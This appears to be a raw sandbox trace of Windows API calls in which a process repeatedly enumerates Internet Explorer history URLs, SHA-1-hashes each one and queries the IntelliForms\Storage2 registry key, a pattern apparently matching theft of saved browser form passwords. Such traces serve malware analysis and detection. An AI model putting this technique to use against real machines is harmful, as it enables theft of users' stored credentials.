	[0211.535] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5b0490) returned 1
	[0211.536] GetLastError () returned 0x0
	[0211.536] CryptCreateHash (in: hProv=0x5b0490, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.536] GetLastError () returned 0x0
	[0211.536] CryptHashData (hHash=0x5bb4b0, pbData=0x23ef840, dwDataLen=0xd0, dwFlags=0x0) returned 1
	[0211.536] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x23ef998, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x23ef998, pdwDataLen=0x5ffde9c) returned 1
	[0211.536] GetLastError () returned 0x0
	[0211.537] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.537] CryptReleaseContext (hProv=0x5b0490, dwFlags=0x0) returned 1
	[0211.537] GetLastError () returned 0x0
	[0211.537] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.537] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.537] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.538] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1 | out: rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1) returned 0x0
	[0211.538] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.538] CoTaskMemFree (pv=0x5d4540) 
	[0211.538] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5b0490) returned 1
	[0211.539] GetLastError () returned 0x0
	[0211.540] CryptCreateHash (in: hProv=0x5b0490, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.540] GetLastError () returned 0x0
	[0211.540] CryptHashData (hHash=0x5bb4b0, pbData=0x23f0668, dwDataLen=0x6c, dwFlags=0x0) returned 1
	[0211.540] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x23f075c, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x23f075c, pdwDataLen=0x5ffde9c) returned 1
	[0211.540] GetLastError () returned 0x0
	[0211.540] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.540] CryptReleaseContext (hProv=0x5b0490, dwFlags=0x0) returned 1
	[0211.540] GetLastError () returned 0x0
	[0211.540] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.540] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.540] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.541] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1 | out: rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1) returned 0x0
	[0211.542] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.542] CoTaskMemFree (pv=0x5e4bc0) 
	[0211.542] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5b0490) returned 1
	[0211.543] GetLastError () returned 0x0
	[0211.543] CryptCreateHash (in: hProv=0x5b0490, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.543] GetLastError () returned 0x0
	[0211.543] CryptHashData (hHash=0x5bb4b0, pbData=0x23f143c, dwDataLen=0x74, dwFlags=0x0) returned 1
	[0211.543] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x23f1538, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x23f1538, pdwDataLen=0x5ffde9c) returned 1
	[0211.543] GetLastError () returned 0x0
	[0211.544] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.544] CryptReleaseContext (hProv=0x5b0490, dwFlags=0x0) returned 1
	[0211.544] GetLastError () returned 0x0
	[0211.544] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.544] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.544] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.544] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1 | out: rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1) returned 0x0
	[0211.545] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.545] CoTaskMemFree (pv=0x5d6978) 
	[0211.545] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5b0490) returned 1
	[0211.546] GetLastError () returned 0x0
	[0211.546] CryptCreateHash (in: hProv=0x5b0490, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.546] GetLastError () returned 0x0
	[0211.547] CryptHashData (hHash=0x5bb4b0, pbData=0x23f2270, dwDataLen=0xa0, dwFlags=0x0) returned 1
	[0211.547] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x23f2398, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x23f2398, pdwDataLen=0x5ffde9c) returned 1
	[0211.547] GetLastError () returned 0x0
	[0211.547] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.547] CryptReleaseContext (hProv=0x5b0490, dwFlags=0x0) returned 1
	[0211.547] GetLastError () returned 0x0
	[0211.547] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.547] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.547] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.548] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1 | out: rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1) returned 0x0
	[0211.548] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.548] CoTaskMemFree (pv=0x5b07c0) 
	[0211.548] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5b07c0) returned 1
	[0211.549] GetLastError () returned 0x0
	[0211.549] CryptCreateHash (in: hProv=0x5b07c0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.549] GetLastError () returned 0x0
	[0211.550] CryptHashData (hHash=0x5bb4b0, pbData=0x23f308c, dwDataLen=0x7e, dwFlags=0x0) returned 1
	[0211.550] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x23f3190, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x23f3190, pdwDataLen=0x5ffde9c) returned 1
	[0211.550] GetLastError () returned 0x0
	[0211.550] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.550] CryptReleaseContext (hProv=0x5b07c0, dwFlags=0x0) returned 1
	[0211.550] GetLastError () returned 0x0
	[0211.550] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.550] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.550] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.551] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1 | out: rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1) returned 0x0
	[0211.551] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.551] CoTaskMemFree (pv=0x5e0530) 
	[0211.551] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5b07c0) returned 1
	[0211.553] GetLastError () returned 0x0
	[0211.553] CryptCreateHash (in: hProv=0x5b07c0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.553] GetLastError () returned 0x0
	[0211.553] CryptHashData (hHash=0x5bb4b0, pbData=0x23f3e54, dwDataLen=0x66, dwFlags=0x0) returned 1
	[0211.553] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x23f3f40, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x23f3f40, pdwDataLen=0x5ffde9c) returned 1
	[0211.553] GetLastError () returned 0x0
	[0211.553] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.553] CryptReleaseContext (hProv=0x5b07c0, dwFlags=0x0) returned 1
	[0211.553] GetLastError () returned 0x0
	[0211.553] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.553] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.553] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.554] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1 | out: rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1) returned 0x0
	[0211.554] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.555] CoTaskMemFree (pv=0x5d5070) 
	[0211.555] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5b07c0) returned 1
	[0211.556] GetLastError () returned 0x0
	[0211.556] CryptCreateHash (in: hProv=0x5b07c0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.556] GetLastError () returned 0x0
	[0211.556] CryptHashData (hHash=0x5bb4b0, pbData=0x23f4bf0, dwDataLen=0x5c, dwFlags=0x0) returned 1
	[0211.556] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x23f4cd4, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x23f4cd4, pdwDataLen=0x5ffde9c) returned 1
	[0211.556] GetLastError () returned 0x0
	[0211.556] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.556] CryptReleaseContext (hProv=0x5b07c0, dwFlags=0x0) returned 1
	[0211.556] GetLastError () returned 0x0
	[0211.556] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.557] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.557] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.557] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1 | out: rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1) returned 0x0
	[0211.558] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.558] CoTaskMemFree (pv=0x5e99b8) 
	[0211.558] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5b07c0) returned 1
	[0211.559] GetLastError () returned 0x0
	[0211.559] CryptCreateHash (in: hProv=0x5b07c0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.559] GetLastError () returned 0x0
	[0211.559] CryptHashData (hHash=0x5bb4b0, pbData=0x23f5a28, dwDataLen=0xae, dwFlags=0x0) returned 1
	[0211.559] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x23f5b5c, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x23f5b5c, pdwDataLen=0x5ffde9c) returned 1
	[0211.559] GetLastError () returned 0x0
	[0211.559] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.559] CryptReleaseContext (hProv=0x5b07c0, dwFlags=0x0) returned 1
	[0211.559] GetLastError () returned 0x0
	[0211.560] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.560] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.560] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.560] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1 | out: rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1) returned 0x0
	[0211.561] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.561] CoTaskMemFree (pv=0x58b068) 
	[0211.561] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5b07c0) returned 1
	[0211.562] GetLastError () returned 0x0
	[0211.562] CryptCreateHash (in: hProv=0x5b07c0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.562] GetLastError () returned 0x0
	[0211.562] CryptHashData (hHash=0x5bb4b0, pbData=0x23f6858, dwDataLen=0x82, dwFlags=0x0) returned 1
	[0211.562] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x23f6960, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x23f6960, pdwDataLen=0x5ffde9c) returned 1
	[0211.562] GetLastError () returned 0x0
	[0211.562] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.562] CryptReleaseContext (hProv=0x5b07c0, dwFlags=0x0) returned 1
	[0211.562] GetLastError () returned 0x0
	[0211.562] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.563] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.563] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.563] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1 | out: rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1) returned 0x0
	[0211.564] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.564] CoTaskMemFree (pv=0x58b2a8) 
	[0211.564] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5b07c0) returned 1
	[0211.565] GetLastError () returned 0x0
	[0211.565] CryptCreateHash (in: hProv=0x5b07c0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.565] GetLastError () returned 0x0
	[0211.565] CryptHashData (hHash=0x5bb4b0, pbData=0x23f7660, dwDataLen=0x84, dwFlags=0x0) returned 1
	[0211.565] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x23f776c, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x23f776c, pdwDataLen=0x5ffde9c) returned 1
	[0211.565] GetLastError () returned 0x0
	[0211.565] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.566] CryptReleaseContext (hProv=0x5b07c0, dwFlags=0x0) returned 1
	[0211.566] GetLastError () returned 0x0
	[0211.566] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.566] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.566] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.566] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1 | out: rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1) returned 0x0
	[0211.567] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.567] CoTaskMemFree (pv=0x5d4540) 
	[0211.567] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5b07c0) returned 1
	[0211.568] GetLastError () returned 0x0
	[0211.568] CryptCreateHash (in: hProv=0x5b07c0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.568] GetLastError () returned 0x0
	[0211.568] CryptHashData (hHash=0x5bb4b0, pbData=0x23f8444, dwDataLen=0x70, dwFlags=0x0) returned 1
	[0211.568] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x23f853c, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x23f853c, pdwDataLen=0x5ffde9c) returned 1
	[0211.569] GetLastError () returned 0x0
	[0211.569] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.569] CryptReleaseContext (hProv=0x5b07c0, dwFlags=0x0) returned 1
	[0211.569] GetLastError () returned 0x0
	[0211.570] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.570] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.570] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.571] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1 | out: rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1) returned 0x0
	[0211.571] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.571] CoTaskMemFree (pv=0x58b848) 
	[0211.572] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5b07c0) returned 1
	[0211.573] GetLastError () returned 0x0
	[0211.573] CryptCreateHash (in: hProv=0x5b07c0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.573] GetLastError () returned 0x0
	[0211.573] CryptHashData (hHash=0x5bb4b0, pbData=0x23f9240, dwDataLen=0x86, dwFlags=0x0) returned 1
	[0211.573] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x23f934c, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x23f934c, pdwDataLen=0x5ffde9c) returned 1
	[0211.573] GetLastError () returned 0x0
	[0211.573] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.573] CryptReleaseContext (hProv=0x5b07c0, dwFlags=0x0) returned 1
	[0211.573] GetLastError () returned 0x0
	[0211.573] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.573] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.573] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.574] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1 | out: rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1) returned 0x0
	[0211.574] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.574] CoTaskMemFree (pv=0x59d300) 
	[0211.575] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5b07c0) returned 1
	[0211.576] GetLastError () returned 0x0
	[0211.576] CryptCreateHash (in: hProv=0x5b07c0, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.576] GetLastError () returned 0x0
	[0211.576] CryptHashData (hHash=0x5bb4b0, pbData=0x23fa028, dwDataLen=0x72, dwFlags=0x0) returned 1
	[0211.576] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x23fa120, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x23fa120, pdwDataLen=0x5ffde9c) returned 1
	[0211.576] GetLastError () returned 0x0
	[0211.576] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.576] CryptReleaseContext (hProv=0x5b07c0, dwFlags=0x0) returned 1
	[0211.576] GetLastError () returned 0x0
	[0211.576] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.576] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.576] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.577] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1 | out: rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1) returned 0x0
	[0211.577] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.577] CoTaskMemFree (pv=0x5b0958) 
	[0211.578] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5b0958) returned 1
	[0211.579] GetLastError () returned 0x0
	[0211.579] CryptCreateHash (in: hProv=0x5b0958, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.579] GetLastError () returned 0x0
	[0211.579] CryptHashData (hHash=0x5bb4b0, pbData=0x23fae0c, dwDataLen=0x7a, dwFlags=0x0) returned 1
	[0211.579] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x23faf0c, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x23faf0c, pdwDataLen=0x5ffde9c) returned 1
	[0211.579] GetLastError () returned 0x0
	[0211.579] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.579] CryptReleaseContext (hProv=0x5b0958, dwFlags=0x0) returned 1
	[0211.579] GetLastError () returned 0x0
	[0211.579] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.579] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.579] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.580] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1 | out: rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1) returned 0x0
	[0211.580] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.580] CoTaskMemFree (pv=0x5d41f8) 
	[0211.581] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5b0958) returned 1
	[0211.582] GetLastError () returned 0x0
	[0211.582] CryptCreateHash (in: hProv=0x5b0958, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.582] GetLastError () returned 0x0
	[0211.582] CryptHashData (hHash=0x5bb4b0, pbData=0x23fbbe4, dwDataLen=0x70, dwFlags=0x0) returned 1
	[0211.582] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x23fbcdc, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x23fbcdc, pdwDataLen=0x5ffde9c) returned 1
	[0211.582] GetLastError () returned 0x0
	[0211.582] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.582] CryptReleaseContext (hProv=0x5b0958, dwFlags=0x0) returned 1
	[0211.582] GetLastError () returned 0x0
	[0211.582] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.582] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.582] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.583] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1 | out: rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1) returned 0x0
	[0211.583] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.583] CoTaskMemFree (pv=0x5be7c0) 
	[0211.584] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5b0958) returned 1
	[0211.584] GetLastError () returned 0x0
	[0211.585] CryptCreateHash (in: hProv=0x5b0958, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.585] GetLastError () returned 0x0
	[0211.585] CryptHashData (hHash=0x5bb4b0, pbData=0x23fca38, dwDataLen=0xb2, dwFlags=0x0) returned 1
	[0211.585] CryptGetHashParam (in: hHash=0x5bb4b0, dwParam=0x2, pbData=0x23fcb70, pdwDataLen=0x5ffde9c, dwFlags=0x0 | out: pbData=0x23fcb70, pdwDataLen=0x5ffde9c) returned 1
	[0211.585] GetLastError () returned 0x0
	[0211.585] CryptDestroyHash (hHash=0x5bb4b0) returned 1
	[0211.585] CryptReleaseContext (hProv=0x5b0958, dwFlags=0x0) returned 1
	[0211.585] GetLastError () returned 0x0
	[0211.585] RegOpenKeyExW (in: hKey=0x80000001, lpSubKey="Software\\Microsoft\\Internet Explorer\\IntelliForms\\Storage2", ulOptions=0x0, samDesired=0x20019, phkResult=0x5ffdde8 | out: phkResult=0x5ffdde8*=0x0) returned 0x2
	[0211.585] CoGetContextToken (in: pToken=0x5ffddac | out: pToken=0x5ffddac) returned 0x0
	[0211.585] IUnknown:AddRef (This=0x5ed078) returned 0x3
	[0211.586] IEnumSTATURL:Next (in: This=0x5ed078, celt=0x1, rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1 | out: rgelt=0x5af788, pceltFetched=0x23e3d1c*=0x1) returned 0x0
	[0211.586] IUnknown:Release (This=0x5ed078) returned 0x2
	[0211.586] CoTaskMemFree (pv=0x5a2340) 
	[0211.586] CryptAcquireContextA (in: phProv=0x5ffdeac, szContainer="", szProvider="", dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x5ffdeac*=0x5b0958) returned 1
	[0211.587] GetLastError () returned 0x0
	[0211.587] CryptCreateHash (in: hProv=0x5b0958, Algid=0x8004, hKey=0x0, dwFlags=0x0, phHash=0x5ffdea8 | out: phHash=0x5ffdea8) returned 1
	[0211.587] GetLastError () returned 0x0
	[0211.588] CryptHashData (hHash=0x5bb4b0, pbData=0x23fd890, dwDataLen=0x94, dwFlags=0x0) returned 1
